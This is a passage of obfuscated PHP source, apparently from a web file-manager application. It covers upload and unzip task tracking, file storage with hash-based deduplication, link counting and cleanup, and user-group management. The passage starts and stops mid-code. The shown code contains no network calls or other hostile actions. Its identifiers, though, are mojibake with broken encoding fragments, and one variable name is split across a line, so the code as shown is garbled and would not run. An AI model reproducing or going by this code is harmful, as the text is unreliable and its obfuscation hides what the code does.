= 0.3 + $åŠÇý¿² * 0.4; } else { if ($§àîö¼”[$ÓüÈ¢æþ[1881]] == $ÓüÈ¢æþ[110]) { $•¿ó  = 0; if ($§àîö¼”[$ÓüÈ¢æþ[1818]] == $ÓüÈ¢æþ[110]) { $•¿ó  = $§àîö¼”[$ÓüÈ¢æþ[1817]]; } $åŠÇý¿² = ($§àîö¼”[$ÓüÈ¢æþ[1821]] + $•¿ó ) / $§àîö¼”[$ÓüÈ¢æþ[830]]; $§àîö¼”[$ÓüÈ¢æþ[1765]] = 0.3 + 0.4 + $åŠÇý¿² * 0.3; } } } if ($§àîö¼”[$ÓüÈ¢æþ[1765]] > 0) { $ÁÄ×ÔžŒ = timeFloat() - $§àîö¼”[$ÓüÈ¢æþ[1767]] - $§àîö¼”[$ÓüÈ¢æþ[1770]]; $§àîö¼”[$ÓüÈ¢æþ[1771]] = $ÁÄ×ÔžŒ * (1 - $§àîö¼”[$ÓüÈ¢æþ[1765]]) / $§àîö¼”[$ÓüÈ¢æþ[1765]]; } } public function addFile($ Û²Ô×Û) { $Ê ïœÍ³ =& $_SERVER[ˆ¡¹µ‹Â]; $‰Åä<C385>àÐ =& $this->task; $‹æúˆ‡Ú = IO::info($ Û²Ô×Û); $‰Åä<C385>àÐ[$Ê ïœÍ³[1814]] = $‹æúˆ‡Ú[$Ê ïœÍ³[32]]; $‰Åä<C385>àÐ[$Ê ïœÍ³[1816]] = $‹æúˆ‡Ú[$Ê ïœÍ³[79]]; $‰Åä<C385>àÐ[$Ê ïœÍ³[1817]] = 0; $‰Åä<C385>àÐ[$Ê ïœÍ³[1136]] = $Ê ïœÍ³[1837]; $‰Åä<C385>àÐ[$Ê ïœÍ³[1818]] = $Ê ïœÍ³[1272]; $‰Åä<C385>àÐ[$Ê ïœÍ³[830]] = $‹æúˆ‡Ú[$Ê ïœÍ³[79]]; $‰Åä<C385>àÐ[$Ê ïœÍ³[1134]] = 1; $ç•Õ¢¼Ï = 0; $‰Åä<C385>àÐ[$Ê ïœÍ³[1825]] = array($Ê ïœÍ³[1826] => $ç•Õ¢¼Ï + 1, $Ê ïœÍ³[494] => $‹æúˆ‡Ú[$Ê ïœÍ³[32]], $Ê ïœÍ³[87] => $‹æúˆ‡Ú[$Ê ïœÍ³[87]], $Ê ïœÍ³[582] => $‹æúˆ‡Ú[$Ê ïœÍ³[582]] ? $‹æúˆ‡Ú[$Ê ïœÍ³[582]] : $‹æúˆ‡Ú[$Ê ïœÍ³[87]]); $this->update(); } public function zipEvent($±ùôλ¦, $œâ<C593>ßÍí, $»ÇЙýñ, $àÒÛ¨°Ÿ) { $¯ïÆŒÛú =& $_SERVER[ˆ¡¹µ‹Â]; $Ÿ°Ÿ÷À‡ =& $this->task; $Ÿ°Ÿ÷À‡[$¯ïÆŒÛú[1814]] = get_path_this($œâ<C593>ßÍí); $Ÿ°Ÿ÷À‡[$¯ïÆŒÛú[1816]] = $àÒÛ¨°Ÿ; $Ÿ°Ÿ÷À‡[$¯ïÆŒÛú[1817]] = $»ÇЙýñ; $Ÿ°Ÿ÷À‡[$¯ïÆŒÛú[1136]] = $±ùôλ¦ == $¯ïÆŒÛú[1883] ? $¯ïÆŒÛú[1884] : $¯ïÆŒÛú[1885]; $Ÿ°Ÿ÷À‡[$¯ïÆŒÛú[1818]] = $¯ïÆŒÛú[12]; $Ÿ°Ÿ÷À‡[$¯ïÆŒÛú[830]] = $àÒÛ¨°Ÿ; $Ÿ°Ÿ÷À‡[$¯ïÆŒÛú[1881]] = $¯ïÆŒÛú[389]; $this->update(); } public function unzipAfter($óÁç<C381>ìÄ) { $»¬üâµ– =& $_SERVER[ˆ¡¹µ‹Â]; $ú<>ɵ‰• =& $this->task; $ú<>ɵ‰•[$»¬üâµ–[1881]] = $»¬üâµ–[110]; $™å¶Ǿ = IO::infoWithChildren($óÁç<C381>ìÄ); $ ’ê÷Žü = 0; $ú<>ɵ‰•[$»¬üâµ–[1825]] = array($»¬üâµ–[1826] => $ ’ê÷Žü + 1, $»¬üâµ–[494] => $™å¶Ǿ[$»¬üâµ–[32]], $»¬üâµ–[87] => $™å¶Ǿ[$»¬üâµ–[87]], $»¬üâµ–[582] => $™å¶Ǿ[$»¬üâµ–[582]] ? $™å¶Ǿ[$»¬üâµ–[582]] : $™å¶Ǿ[$»¬üâµ–[87]]); if ($™å¶Ǿ[$»¬üâµ–[33]] == $»¬üâµ–[230]) { $ú<>ɵ‰•[$»¬üâµ–[1134]] = 1; } else { $ú<>ɵ‰•[$»¬üâµ–[1134]] = $™å¶Ǿ[$»¬üâµ–[82]][$»¬üâµ–[80]]; } $ú<>ɵ‰•[$»¬üâµ–[1136]] = $»¬üâµ–[12]; $ú<>ɵ‰•[$»¬üâµ–[1818]] = 0; $ú<>ɵ‰•[$»¬üâµ–[1764]] = 0; $ú<>ɵ‰•[$»¬üâµ–[1816]] = 0; $ú<>ɵ‰•[$»¬üâµ–[1817]] = 0; $ú<>ɵ‰•[$»¬üâµ–[1814]] = $»¬üâµ–[12]; $ú<>ɵ‰•[$»¬üâµ–[1821]] = 0; $ú<>ɵ‰•[$»¬üâµ–[830]] = $™å¶Ǿ[$»¬üâµ–[79]]; $this->update(); self::log($»¬üâµ–[1886] . json_encode(array($ú<>ɵ‰•, $™å¶Ǿ))); } public function nameParse($»˜‡þŸÛ) { $£ÜΘñª =& $_SERVER[ˆ¡¹µ‹Â]; $ýèâ˜ôÊ =& $this->task; if ($ýèâ˜ôÊ[$£ÜΘñª[1881]] == $£ÜΘñª[1272]) { $ýèâ˜ôÊ[$£ÜΘñª[1881]] = $£ÜΘñª[389]; $ýèâ˜ôÊ[$£ÜΘñª[1821]] = 0; $ýèâ˜ôÊ[$£ÜΘñª[830]] = 0; } $²åƒ‡ÙŸ = get_path_this($»˜‡þŸÛ); if (strstr($²åƒ‡ÙŸ, $£ÜΘñª[10])) { $ýèâ˜ôÊ[$£ÜΘñª[1764]] += 1; $ýèâ˜ôÊ[$£ÜΘñª[1134]] += 1; } $ýèâ˜ôÊ[$£ÜΘñª[1814]] = $»˜‡þŸÛ; $this->update(); } } goto BÚÃ…©ð¡«; B÷®É¢Ó®ö: class FileModel extends ModelBase { protected $tableName = "\x69\157\x5f\x66\x69\154\145"; protected $tableMeta = array("\x74\141\x62\x6c\145\x4e\x61\x6d\145" => "\x69\x6f\137\x66\x69\x6c\x65\137\155\145\164\x61", "\x6d\x65\x74\x61\106\151\x65\x6c\144" => "\x66\x69\154\145\x49\x44"); public function fileInfo($û‚ù鹸) { $’ïçø¸¦ =& $_SERVER[ˆ¡¹µ‹Â]; static $¯å¬Å¿¢ = array(); if (!isset($¯å¬Å¿¢[$û‚ù鹸])) { $̭þò­ = $’ïçø¸¦[2012]; $¨ˆ¼ñ§ž = Model($’ïçø¸¦[544])->field($̭þò­)->where(array($’ïçø¸¦[542] => $û‚ù鹸))->find(); $¯å¬Å¿¢[$û‚ù鹸] = $¨ˆ¼ñ§ž; } return $¯å¬Å¿¢[$û‚ù鹸]; } public function addFileByContent($„‡ÊÐŒÔ = '', $ù<>¬Å£ = '') { $±è‹Ð„š =& $_SERVER[ˆ¡¹µ‹Â]; $³‘—ùµí = TEMP_PATH . $±è‹Ð„š[2013]; if (!is_dir($³‘—ùµí)) { mk_dir($³‘—ùµí); } $®Ê‡ù¾¸ = $³‘—ùµí . $±è‹Ð„š[2014] . rand_string(16); file_put_contents($®Ê‡ù¾¸, $„‡ÊÐŒÔ); $£Á<C2A3>éŽ = $this->addFile($®Ê‡ù¾¸, $ù<>¬Å£, !0); if (file_exists($®Ê‡ù¾¸)) { @unlink($®Ê‡ù¾¸); } return $£Á<C2A3>éŽ; } public function createFileName($­ÊãÙ<C3A3>‰, $Ø›¢Ù³ü = false, $îÅàâþž = false) { $ê××µ²<C2B5> =& $_SERVER[ˆ¡¹µ‹Â]; $<24>çÝÔ½Ö = IO::init($ê××µ²<C2B5>[8]); $Ì—ÅŲº = $this->makeFilePath($­ÊãÙ<C3A3>‰, $<24>çÝÔ½Ö, $Ø›¢Ù³ü, $îÅàâþž); $ÏÖÁ­“ú = $<24>çÝÔ½Ö->pathFather($Ì—ÅŲº); static $µ¨°—Çñ = false; $·þÙžæ‚ = $ê××µ²<C2B5>[2015] . md5($ÏÖÁ­“ú); if (!$µ¨°—Çñ && !Cache::get($·þÙžæ‚)) { $µ¨°—Çñ = !0; $™óŸ­â€ = IO::mkdir($ÏÖÁ­“ú); if (!IO::exist($™óŸ­â€ . $ê××µ²<C2B5>[872])) { IO::mkfile($™óŸ­â€ . $ê××µ²<C2B5>[872]); } Cache::set($·þÙžæ‚, 1, 3600 * 2); } return $Ì—ÅŲº; } public function makeFilePath($þ–Ñ‹æ‹, $³ß»™ªö, $ÈûÆ<C3BB>¡™ = false, $‰”¨<E28099>ë = false) { $‚€ó¡‡› =& $_SERVER[ˆ¡¹µ‹Â]; $Éóþ‚õ¨ = Model($‚€ó¡‡›[837])->get($‚€ó¡‡›[2016]); $Ó„ØÛæ™ = KodIO::defaultIO() . date($‚€ó¡‡›[2017]); $¬À÷<C3B7>â = $Ó„ØÛæ™ . rand_string(5) . short_id(100); $þ–Ñ‹æ‹ = str_replace($‚€ó¡‡›[8], $‚€ó¡‡›[11], KodIO::clear($þ–Ñ‹æ‹)); $ü’Ñ­‡¿ = $³ß»™ªö->ext($þ–Ñ‹æ‹); if (!$þ–Ñ‹æ‹) { $Éóþ‚õ¨ = $‚€ó¡‡›[843]; } switch ($Éóþ‚õ¨) { case $‚€ó¡‡›[2018]: if ($ü’Ñ­‡¿) { $¬À÷<C3B7>â = $¬À÷<C3B7>â . $‚€ó¡‡›[10] . $ü’Ñ­‡¿; } if ($ü’Ñ­‡¿ == $‚€ó¡‡›[1954]) { $¬À÷<C3B7>â .= $‚€ó¡‡›[1284]; } break; case $‚€ó¡‡›[2019]: $Ì×צª<C2A6> = Model($‚€ó¡‡›[837])->get($‚€ó¡‡›[838]); $ÀÔ²’¹Ó = substr(md5($‚€ó¡‡›[839] . $Ì×צª<C2A6> . date($‚€ó¡‡›[816])), 0, 8); $…§£¶ù‹ = KodIO::defaultDriver(); $Ó„ØÛæ™ = $‚€ó¡‡›[1315] . $…§£¶ù‹[$‚€ó¡‡›[475]] . $‚€ó¡‡›[484] . date($‚€ó¡‡›[2020]) . $ÀÔ²’¹Ó . $‚€ó¡‡›[8]; if ($ü’Ñ­‡¿ == $‚€ó¡‡›[1954]) { $þ–Ñ‹æ‹ .= $‚€ó¡‡›[1284]; } $ÜË¢ö¸³ = $‚€ó¡‡›[2021] . $Ó„ØÛæ™ . $þ–Ñ‹æ‹; CacheLock::lock($ÜË¢ö¸³); $¬À÷<C3B7>â = $Ó„ØÛæ™ . $þ–Ñ‹æ‹; if (IO::exist($Ó„ØÛæ™ . $þ–Ñ‹æ‹)) { $󵲯մ = substr($þ–Ñ‹æ‹, 0, strlen($þ–Ñ‹æ‹) - strlen($ü’Ñ­‡¿)); $Α±µ˜Ù = $‰”¨<E28099>ë ? substr($‰”¨<E28099>ë, 0, 5) : ($ÈûÆ<C3BB>¡™ ? substr($ÈûÆ<C3BB>¡™, 0, 5) : rand_string(5)); $¬À÷<C3B7>â = $Ó„ØÛæ™ . $󵲯մ . $Α±µ˜Ù; if ($ü’Ñ­‡¿) { $¬À÷<C3B7>â = $¬À÷<C3B7>â . $‚€ó¡‡›[10] . $ü’Ñ­‡¿; } } if (IO::isOsDriver($¬À÷<C3B7>â) && !IO::isUploadServer($¬À÷<C3B7>â)) { if (IO::exist($¬À÷<C3B7>â)) { return $¬À÷<C3B7>â; } $òÔµ€ØŸ = IO::setContent($¬À÷<C3B7>â, $‚€ó¡‡›[12]); if (!$òÔµ€ØŸ) { show_json($‚€ó¡‡›[2022], !1); } } CacheLock::unlock($ÜË¢ö¸³); break; case $‚€ó¡‡›[843]: break; default: break; } return $¬À÷<C3B7>â; } public function addFileByRemote($¹Åß¹<C39F>ñ, $ã‘×°×, $…˧…ùò = array()) { $·õËŸ™¸ =& $_SERVER[ˆ¡¹µ‹Â]; if (!IO::exist($¹Åß¹<C39F>ñ)) { return !1; } $†ì¨ùíí = $…˧…ùò[$·õËŸ™¸[547]] ? $…˧…ùò[$·õËŸ™¸[547]] : $·õËŸ™¸[12]; $‘è­Ø‚“ = IO::hashMd5($¹Åß¹<C39F>ñ, $†ì¨ùíí); $éšÑ<E280B9>¤ = KodIO::defaultDriver(); $Ž·¼ÒÂÖ = array($·õËŸ™¸[617] => IO::size($¹Åß¹<C39F>ñ), $·õËŸ™¸[2023] => 1, $·õËŸ™¸[494] => $ã‘×°×, $·õËŸ™¸[883] => $éšÑ<E280B9>¤[$·õËŸ™¸[475]], $·õËŸ™¸[495] => $¹Åß¹<C39F>ñ, $·õËŸ™¸[2024] => $…˧…ùò[$·õËŸ™¸[672]] ? $…˧…ùò[$·õËŸ™¸[672]] : IO::hashSimple($¹Åß¹<C39F>ñ), $·õËŸ™¸[2025] => $‘è­Ø‚“ ? $‘è­Ø‚“ : $†ì¨ùíí); if ($˜üþ‹ê£ = $this->addFileCheckExist($Ž·¼ÒÂÖ[$·õËŸ™¸[672]], $Ž·¼ÒÂÖ[$·õËŸ™¸[547]], $Ž·¼ÒÂÖ[$·õËŸ™¸[79]])) { return $˜üþ‹ê£; } return $this->addFileData($Ž·¼ÒÂÖ); } private function addFileData($½õžÍ‡â) { $ãìόЖ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$½õžÍ‡â) { return !1; } $½õžÍ‡â[$ãìόЖ[79]] = intval($½õžÍ‡â[$ãìόЖ[79]]); if (!$½õžÍ‡â[$ãìόЖ[79]] && strlen($½õžÍ‡â[$ãìόЖ[672]]) > 32) { $½õžÍ‡â[$ãìόЖ[79]] = intval(substr($½õžÍ‡â[$ãìόЖ[672]], 32)); } $½<>ÊÖ·… = $this->add($½õžÍ‡â); return $this->find($½<>ÊÖ·…); } public function addFile($ƒâµäÇÐ, $‰Â޵ƒ£, $ª”¦éÈÄ = false) { $<><E28099>Ìõã =& $_SERVER[ˆ¡¹µ‹Â]; $¾ªúÃ‰Ä = IO::hashSimple($ƒâµäÇÐ); $<24>ÌߘÝ<CB9C> = IO::size($ƒâµäÇÐ); $é§ôËìÝ = $<24>ÌߘÝ<CB9C> <= 1024 * 1024 * 10 ? IO::hashMd5($ƒâµäÇÐ) : $<><E28099>Ìõã[12]; $ýúç³üÅ = $<><E28099>Ìõã[2026] . $¾ªúÉÄ; CacheLock::lock($ýúç³üÅ); if ($é§ôËìÝ && $¾ªúÉÄ) { $ÌÊ×ÖŠÔ = $this->addFileCheckExist($¾ªúÉÄ, $é§ôËìÝ, $<24>ÌߘÝ<CB9C>); if ($ÌÊ×ÖŠÔ) { CacheLock::unlock($ýúç³üÅ); return $ÌÊ×ÖŠÔ; } } $ó§»²ö— = $this->addFileMake($ƒâµäÇÐ, $<24>ÌߘÝ<CB9C>, $¾ªúÉÄ, $é§ôËìÝ, $‰Â޵ƒ£, $ª”¦éÈÄ); $âÔ¿ò£É = $this->addFileData($ó§»²ö—); CacheLock::unlock($ýúç³üÅ); if (!$é§ôËìÝ && $âÔ¿ò£É) { $this->fileMd5Check($âÔ¿ò£É); } return $âÔ¿ò£É; } public function fileMd5Check($º¤ÇÕ÷°) { $´<>쬮¦ =& $_SERVER[ˆ¡¹µ‹Â]; $„Þˆ<C39E>ïú = array($º¤ÇÕ÷°[$´<>쬮¦[541]], $º¤ÇÕ÷°[$´<>쬮¦[87]]); $Ÿî“½ý§ = $´<>쬮¦[2027] . $º¤ÇÕ÷°[$´<>쬮¦[87]]; $¤¨íø<C3AD>Ú = $´<>쬮¦[2028] . $º¤ÇÕ÷°[$´<>쬮¦[541]]; TaskQueue::add($´<>쬮¦[2029], $„Þˆ<C39E>ïú, $Ÿî“½ý§, $¤¨íø<C3AD>Ú); } public function fileMd5Set($êµ¥ðÍ<C3B0>, $±Áñ½¶ƒ) { $«‰’ͨ• =& $_SERVER[ˆ¡¹µ‹Â]; $Ðç·ôÃÛ = $this->find($êµ¥ðÍ<C3B0>); if (!$Ðç·ôÃÛ || $Ðç·ôÃÛ[$«‰’ͨ•[547]]) { return; } $”âŽãâ<C3A3> = IO::hashMd5($±Áñ½¶ƒ); if (!$”âŽãâ<C3A3>) { return $«‰’ͨ•[12]; } $this->where(array($«‰’ͨ•[541] => $êµ¥ðÍ<C3B0>))->save(array($«‰’ͨ•[547] => $”âŽãâ<C3A3>)); } public function addFileMake($øŸœ¤<C593>æ, $忀Ÿ•, $À<>»ç¸¬, $<24>õ™ó©¾, $†¤ãÔùù, $ï©çÐ…ß) { $‹•Ï’–° =& $_SERVER[ˆ¡¹µ‹Â]; $ÜÄÖ¥õ‚ = $this->createFileName($†¤ãÔùù, $À<>»ç¸¬, $<24>õ™ó©¾); $ɵ£–óÖ = get_path_father($ÜÄÖ¥õ‚); $¥†ñÒΤ = get_path_this($ÜÄÖ¥õ‚); if ($ï©çÐ…ß) { $¤Õ¯¯Þà = IO::move($øŸœ¤<C593>æ, $ɵ£–óÖ, !1, $¥†ñÒΤ); } else { $¤Õ¯¯Þà = IO::copy($øŸœ¤<C593>æ, $ɵ£–óÖ, !1, $¥†ñÒΤ); } if (!$¤Õ¯¯ÞÃ) { return !1; } $Ò‹ë–—× = KodIO::defaultDriver(); $仦ôÙ– = array($‹•Ï’–°[617] => $忀Ÿ•, $‹•Ï’–°[2023] => 1, $‹•Ï’–°[494] => $†¤ãÔùù, $‹•Ï’–°[883] => $Ò‹ë–—×[$‹•Ï’–°[475]], $‹•Ï’–°[495] => $ÜÄÖ¥õ‚, $‹•Ï’–°[2024] => $À<>»ç¸¬, $‹•Ï’–°[2025] => $<24>õ™ó©¾); return $仦ôÙ–; } public function addFileCheckExist($ŒøÕ<C395>æ, $¾ÍýÊ•™, $ÇŽú«³<C2AB>) { $ŽŽÏʼnä =& $_SERVER[ˆ¡¹µ‹Â]; $í<>Ò<EFBFBD>ã® = $this->findByHash($ŒøÕ<C395>æ, $¾ÍýÊ•™); if (!$í<>Ò<EFBFBD>ã®) { return !1; } $Ôèý•ê¾ = array($ŽŽÏʼnä[2023] => intval($í<>Ò<EFBFBD>ã®[$ŽŽÏʼnä[2030]]) + 1, $ŽŽÏʼnä[617] => $ÇŽú«³<C2AB>); $this->where(array($ŽŽÏʼnä[542] => $í<>Ò<EFBFBD>ã®[$ŽŽÏʼnä[541]]))->save($Ôèý•ê¾); return $í<>Ò<EFBFBD>ã®; } public function remove($×»ÁÊ×Ä) { $this->linkCountChange($×»ÁÊ×Ä, !1); $this->clearEmpty(); return !0; } public function linkAdd($Ú„à<E2809E>ßÂ) { $this->linkCountChange($Ú„à<E2809E>ßÂ, !0); } public function linkCountChange($ż»¨®Ü, $ʄа<C2B0>) { $òâò“¸¦ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ż»¨®Ü) { return; } if (!is_array($ż»¨®Ü)) { $ż»¨®Ü = array($ż»¨®Ü); } $š‘Õ›²’ = array(); foreach ($ż»¨®Ü as $·ìžÜ«û) { $‹¸ÐÃÁð = $·ìžÜ«û . $òâò“¸¦[12]; if (!$š‘Õ›²’[$‹¸ÐÃÁð]) { $š‘Õ›²’[$‹¸ÐÃÁð] = 0; } $š‘Õ›²’[$‹¸ÐÃÁð]++; } $ÖôÜÖþÇ = array(); foreach ($š‘Õ›²’ as $·ìžÜ«û => $<24>¯çëúÄ) { $‹¸ÐÃÁð = $<24>¯çëúÄ . $òâò“¸¦[12]; if (!$ÖôÜÖþÇ[$‹¸ÐÃÁð]) { $ÖôÜÖþÇ[$‹¸ÐÃÁð] = array(); } $ÖôÜÖþÇ[$‹¸ÐÃÁð][] = $·ìžÜ«û; } foreach ($ÖôÜÖþÇ as $<24>¯çëúÄ => $ƒÇƲ¶ˆ) { if (!$ƒÇƲ¶ˆ) { continue; } $<24>¯çëúÄ = $ʄа<C2B0> ? $<24>¯çëúÄ : -intval($<24>¯çëúÄ); $ëçéÞ‘ˆ = array($òâò“¸¦[541] => array($òâò“¸¦[7], $ƒÇƲ¶ˆ)); if ($<24>¯çëúÄ < 0) { $ëçéÞ‘ˆ[$òâò“¸¦[2030]] = array($òâò“¸¦[1086], abs($<24>¯çëúÄ)); } $this->where($ëçéÞ‘ˆ)->setAdd($òâò“¸¦[2030], $<24>¯çëúÄ); } } public function findByHash($ž<>غ˜í, $÷õˆ˜´Î = false) { $ϳ›ñï÷ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ž<>غ˜í && !$÷õˆ˜´Î) { return !1; } $™¯–•ÊÐ = array($ϳ›ñï÷[2024] => $ž<>غ˜í); if ($÷õˆ˜´Î) { $™¯–•ÊÐ = array($ϳ›ñï÷[2025] => $÷õˆ˜´Î); } return $this->order($ϳ›ñï÷[2031])->where($™¯–•ÊÐ)->find(); } public function clearEmpty($Ç–áéݶ = 0) { $þŒ»ëšã =& $_SERVER[ˆ¡¹µ‹Â]; $ïòµ»ÔÜ = time() - 3600 * 24 * $Ç–áéݶ; $ŠÍøÍš’ = $þŒ»ëšã[2032] . $ïòµ»ÔÜ; $žø‰Ë¼½ = $this->where($ŠÍøÍš’)->select(); if (!$žø‰Ë¼½) { return; } $ŒðÁËØý = new Task($þŒ»ëšã[2033], $þŒ»ëšã[12], count($žø‰Ë¼½)); foreach ($žø‰Ë¼½ as $ÚéÏÇê£) { $ŒðÁËØý->update(1); $this->resetFile($ÚéÏÇê£); } $ŒðÁËØý->end(); } public function resetFile($€ÅÝ‘“©) { $€€žÒ¤û =& $_SERVER[ˆ¡¹µ‹Â]; $ƒÜˆ«ÀÊ = array($€€žÒ¤û[542] => $€ÅÝ‘“©[$€€žÒ¤û[541]]); $žÓ†Ð¾ß = Model($€€žÒ¤û[1411])->where($ƒÜˆ«ÀÊ)->count(); $øÌëÎµÍ = Model($€€žÒ¤û[2034])->where($ƒÜˆ«ÀÊ)->count(); $åˆÒ¤†Ã = intval($žÓ†Ð¾ß) + intval($øÌëεÍ); if ($åˆÒ¤†Ã == 0) { IO::remove($€ÅÝ‘“©[$€€žÒ¤û[87]]); Model($€€žÒ¤û[2035])->delete($€ÅÝ‘“©[$€€žÒ¤û[541]]); $this->where($ƒÜˆ«ÀÊ)->delete(); $this->metaSet($€ÅÝ‘“©[$€€žÒ¤û[541]], null, null); write_log(ACTION . $€€žÒ¤û[2036] . KodUser::id() . $€€žÒ¤û[2037] . $€ÅÝ‘“©[$€€žÒ¤û[541]] . $€€žÒ¤û[2038] . $€ÅÝ‘“©[$€€žÒ¤û[79]] . $€€žÒ¤û[201] . $€ÅÝ‘“©[$€€žÒ¤û[87]], $€€žÒ¤û[2039]); return; } if ($€ÅÝ‘“©[$€€žÒ¤û[2030]] != $åˆÒ¤†Ã) { $this->where($ƒÜˆ«ÀÊ)->save(array($€€žÒ¤û[2023] => $åˆÒ¤†Ã)); } } public function storageInfo($‰ÉêÕ—ô = false) { $©®¨àÑ‚ =& $_SERVER[ˆ¡¹µ‹Â]; $šÊëÍê<C38D> = $this->count() + 0.0; $
ޕ¬ = 0; $´ß̈Š× = 1; $ö…“³»¤ = 0; $âöÐÒéü = 5000; for ($·Ò˯ň = 0; $·Ò˯ň < $šÊëÍê<C38D>; $·Ò˯ň = $·Ò˯ň + $âöÐÒéü) { $“èüÀ¤<C380> = $this->limit($·Ò˯ň, $·Ò˯ň + $âöÐÒéü)->select(); foreach ($“èüÀ¤<C380> as $éî±<C3AE>žá) { $´ß̈Š× += $éî±<C3AE>žá[$©®¨àÑ‚[79]] * $éî±<C3AE>žá[$©®¨àÑ‚[2030]]; $
ޕ¬ += $éî±<C3AE>žá[$©®¨àÑ‚[79]] * ($éî±<C3AE>žá[$©®¨àÑ‚[2030]] - 1); $ö…“³»¤ += $éî±<C3AE>žá[$©®¨àÑ‚[2030]]; } } $í²þÉ¢¼ = array($©®¨àÑ‚[2040] => $´ß̈Š×, $©®¨àÑ‚[2041] => $
ޕ¬, $©®¨àÑ‚[2042] => $
ޕ¬ / $´ß̈Š×, $©®¨àÑ‚[83] => $šÊëÍê<C38D>, $©®¨àÑ‚[2043] => $ö…“³»¤); return $í²þÉ¢¼; } } class GroupModel extends ModelBase { protected $tableName = "\147\x72\x6f\165\x70"; protected $tableMeta = array("\164\x61\142\x6c\x65\116\141\x6d\145" => "\x67\162\157\165\x70\137\155\x65\x74\141", "\155\145\x74\141\106\151\x65\x6c\144" => "\147\x72\157\x75\160\x49\x44"); protected function cacheFunctionAlias($<24>Ω) { $”ãÝǘ® =& $_SERVER[ˆ¡¹µ‹Â]; return array($”ãÝǘ®[2044] => array($<24>Ω[0], $”ãÝǘ®[2045]), $”ãÝǘ®[2046] => array($<24>Ω[0], $”ãÝǘ®[2047])); } protected function getInfo($½<>Øž˜À, $¢¬¤«Õò = false) { $å¯Çµß½ = $this->getInfoSimple($½<>Øž˜À); if (!$å¯Çµß½) { return !1; } if ($¢¬¤«Õò) { return $this->_listDataApplyItem($å¯Çµß½); } return $this->cacheFunctionGet($_SERVER[ˆ¡¹µ‹Â][2048], $½<>Øž˜À); } protected function getInfoSimple($ψüÒæ£, $Ú¼Äð<C384>º = false) { $Œ¬¿ã›Ý =& $_SERVER[ˆ¡¹µ‹Â]; if ($Ú¼Äð<C384>º) { $ú·ï«±Ï = array($Œ¬¿ã›Ý[1962] => intval($ψüÒæ£)); $‡¢<E280A1>éÀ<C3A9> = $this->where($ú·ï«±Ï)->find(); return is_array($‡¢<E280A1>éÀ<C3A9>) ? $‡¢<E280A1>éÀ<C3A9> : array(); } return $this->cacheFunctionGet($Œ¬¿ã›Ý[2049], $ψüÒæ£); } protected function groupAdd($ݪüÈÉÉ) { $Ç܈€õý =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ݪüÈÉÉ[$Ç܈€õý[192]] && isset($ݪüÈÉÉ[$Ç܈€õý[1962]]) && $ݪüÈÉÉ[$Ç܈€õý[1962]] == 1) { if ($ΑÚÖ¼­ = $this->getInfoSimple($ݪüÈÉÉ[$Ç܈€õý[1962]], !0)) { return $ݪüÈÉÉ[$Ç܈€õý[1962]]; } } else { $ΑÚÖ¼­ = $this->getInfoSimple($ݪüÈÉÉ[$Ç܈€õý[192]]); if (!$ΑÚÖ¼­) { return !1; } } $˜á<CB9C>“§ã = $Ç܈€õý[594]; if ($ΑÚÖ¼­[$Ç܈€õý[584]]) { $˜á<CB9C>“§ã = $ΑÚÖ¼­[$Ç܈€õý[584]] . $ΑÚÖ¼­[$Ç܈€õý[1962]] . $Ç܈€õý[50]; } $°©´èã• = array($Ç܈€õý[494] => $this->groupNameAuto($ݪüÈÉÉ[$Ç܈€õý[192]], $ݪüÈÉÉ[$Ç܈€õý[32]]), $Ç܈€õý[477] => $ݪüÈÉÉ[$Ç܈€õý[192]], $Ç܈€õý[652] => $˜á<CB9C>“§ã, $Ç܈€õý[2050] => $ݪüÈÉÉ[$Ç܈€õý[1948]], $Ç܈€õý[2051] => 0, $Ç܈€õý[1966] => 0); if (isset($ݪüÈÉÉ[$Ç܈€õý[1986]])) { $°©´èã•[$Ç܈€õý[1986]] = $ݪüÈÉÉ[$Ç܈€õý[1986]]; } else { $Âê˜ç£Ç = $this->max($Ç܈€õý[1986]); if (!$Âê˜ç£Ç) { $Âê˜ç£Ç = 0; } $°©´èã•[$Ç܈€õý[1986]] = $Âê˜ç£Ç + 1; } if (!empty($ݪüÈÉÉ[$Ç܈€õý[1962]])) { $°©´èã•[$Ç܈€õý[1962]] = $ݪüÈÉÉ[$Ç܈€õý[1962]]; } $­çˆë¡š = $this->add($°©´èã•); $this->setNamePinyin($­çˆë¡š, $°©´èã•[$Ç܈€õý[32]]); if (isset($ݪüÈÉÉ[$Ç܈€õý[2052]])) { $this->metaSet($­çˆë¡š, array($Ç܈€õý[2052] => $ݪüÈÉÉ[$Ç܈€õý[2052]], $Ç܈€õý[2053] => $ݪüÈÉÉ[$Ç܈€õý[2053]])); unset($ݪüÈÉÉ[$Ç܈€õý[2052]]); unset($ݪüÈÉÉ[$Ç܈€õý[2053]]); } Model($Ç܈€õý[1411])->groupRootAdd($­çˆë¡š); $this->_clearCache($ݪüÈÉÉ[$Ç܈€õý[192]]); return $­çˆë¡š; } protected function groupEdit($—©À‰¸¥, $¹Ý»“¸<E2809C>) { $ÛÜ¥Ôù— =& $_SERVER[ˆ¡¹µ‹Â]; $¸¬<C2B8>©Õñ = $this->getInfoSimple($—©À‰¸¥); if (!$¸¬<C2B8>©Õñ) { return !1; } if (!empty($¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[192]])) { $<24>ýÄ”®<E2809D> = $this->getInfoSimple($¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[192]]); if (!$<24>ýÄ”®<E2809D>) { return !1; } if ($¸¬<C2B8>©Õñ[$ÛÜ¥Ôù—[1962]] == $<24>ýÄ”®<E2809D>[$ÛÜ¥Ôù—[1962]]) { return !1; } if ($¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[192]] != $¸¬<C2B8>©Õñ[$ÛÜ¥Ôù—[192]]) { if ($<24>ýÄ”®<E2809D>[$ÛÜ¥Ôù—[584]] !== $¸¬<C2B8>©Õñ[$ÛÜ¥Ôù—[584]] && strpos($<24>ýÄ”®<E2809D>[$ÛÜ¥Ôù—[584]], $¸¬<C2B8>©Õñ[$ÛÜ¥Ôù—[584]] . $¸¬<C2B8>©Õñ[$ÛÜ¥Ôù—[1962]] . $ÛÜ¥Ôù—[50]) === 0) { return !1; } $¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[652]] = $<24>ýÄ”®<E2809D>[$ÛÜ¥Ôù—[584]] . $¹Ý»“¸<E2809C>[$ÛÜ¥Ôù—[192]] . 